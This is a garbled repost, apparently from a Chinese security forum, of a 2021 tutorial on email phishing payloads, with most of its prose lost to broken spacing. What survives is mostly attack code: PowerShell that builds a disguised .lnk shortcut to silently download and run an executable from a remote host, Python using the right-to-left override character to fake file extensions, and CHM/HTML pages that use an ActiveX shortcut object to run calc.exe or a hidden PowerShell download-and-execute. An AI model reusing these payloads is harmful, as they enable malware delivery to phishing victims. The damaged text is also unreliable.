[22224] 2021-08-05_干货|邮件钓鱼攻击学习

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2021-08-05_干货|邮件钓鱼攻击学习     C h a b u g   L e m o n S e c   2 0 2 1 - 0 8 - 0 5 姿 便 姿 便 L n k p o w e r s h e l l 线 C M D C M D
l n k T i p s 2 6 0 2 6 0 $ W s h S h e l l   =   N e w - O b j e c t   - c o m O b j e c t   W S c r i p t . S h e l l     $ S h o r t c u t   =   $ W s h S h e l l . C r e a t e S h o r t c u t ( " t e s t . l n k " )     $ S h o r t c u t . T a r g e t P a t h   =   " % S y s t e m R o o t % s y s t e m 3 2 c m d . e x e "     $ S h o r t c u t . I c o n L o c a t i o n   =   " % S y s t e m R o o t % S y s t e m 3 2 S h e l l 3 2 . d l l , 2 1 "     $ S h o r t c u t . A r g u m e n t s   =   " c m d   / c   p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   I E X   ( n e w - o b j e c t   n e t . w e b c l i e n t ) . D o w n l o a d F i l e ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 7 : 8 0 0 0 / a s c o t b e . e x e ' , ' . a s c o t b e . e x e ' ) ; & c m d   / c   . a s c o t b e . e x e "     $ S h o r t c u t . S a v e ( ) p o w e r s h e l l   - E x e c u t i o n P o l i c y   R e m o t e S i g n e d   - f i l e   t e s t . p s 1 $ f i l e   =   G e t - C o n t e n t   " . t e s t . t x t "     $ W s h S h e l l   =   N e w - O b j e c t   - c o m O b j e c t   W S c r i p t . S h e l l     $ S h o r t c u t   =   $ W s h S h e l l . C r e a t e S h o r t c u t ( " t e s t . l n k " )    
R T L O P y t h o n t x t p n g C H M i n d e x . h t m l i n d e x . h t m l i n d e x . h t m l i n d e x . h t m l $ S h o r t c u t   =   $ W s h S h e l l . C r e a t e S h o r t c u t ( " t e s t . l n k " )     $ S h o r t c u t . T a r g e t P a t h   =   " % S y s t e m R o o t % s y s t e m 3 2 c m d . e x e "     $ S h o r t c u t . I c o n L o c a t i o n   =   " % S y s t e m R o o t % S y s t e m 3 2 S h e l l 3 2 . d l l , 2 1 "     $ S h o r t c u t . A r g u m e n t s   =   '                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ' +   $ f i l e     $ S h o r t c u t . S a v e ( ) i m p o r t   o s     o s . r e n a m e ( ' t e s t . t x t ' ,   ' t e s t - u 2 0 2 e g n p . t x t ' ) i m p o r t   o s o s . r e n a m e ( ' c m d . e x e ' ,   u ' n o u 2 0 2 e F D P . e x e ' ) < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > M o u s e j a c k   r e p l a y < / t i t l e > < h e a d > < / h e a d > < b o d y > c o m m a n d   e x e c < O B J E C T   i d = x   c l a s s i d = " c l s i d : a d b 8 8 0 a 6 - d 8 f f - 1 1 c f - 9 3 7 7 - 0 0 a a 0 0 3 b 7 a 1 1 "   w i d t h = 1   h e i g h t = 1 > < P A R A M   n a m e = " C o m m a n d "   v a l u e = " S h o r t C u t " >   < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : : s h o r t c u t " >
使 c s c a l c . e x e 使 E a s y C H M C M D   < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : : s h o r t c u t " >   < P A R A M   n a m e = " I t e m 1 "   v a l u e = ' , c a l c . e x e ' >   < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > x . C l i c k ( ) ; < / S C R I P T > < / b o d y > < / h t m l > < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < t i t l e > M o u s e j a c k   r e p l a y < / t i t l e > < h e a d > < / h e a d > < b o d y > c o m m a n d   e x e c < O B J E C T   i d = x   c l a s s i d = " c l s i d : a d b 8 8 0 a 6 - d 8 f f - 1 1 c f - 9 3 7 7 - 0 0 a a 0 0 3 b 7 a 1 1 "   w i d t h = 1   h e i g h t = 1 > < P A R A M   n a m e = " C o m m a n d "   v a l u e = " S h o r t C u t " >   < P A R A M   n a m e = " B u t t o n "   v a l u e = " B i t m a p : : s h o r t c u t " >   < P A R A M   n a m e = " I t e m 1 "   v a l u e = " , p o w e r s h e l l . e x e   - n o p   - w   h i d d e n   - c   I E X   ( ( n e w - o b j e c t   n e t . w e b c l i e n t ) . d o w n l o a d s t r i n g ( ' h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 0 0 : 8 1 / a ' ) ) " >   < P A R A M   n a m e = " I t e m 2 "   v a l u e = " 2 7 3 , 1 , 1 " > < / O B J E C T > < S C R I P T > x . C l i c k ( ) ; < / S C R I P T > < / b o d y > < / h t m l >
p s 线 使 C S
-
R e s o u r c e H a c k e r f l a s h
线
o f f i c e w o r d c s
线 D O T M h t t p D O T M w e b
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则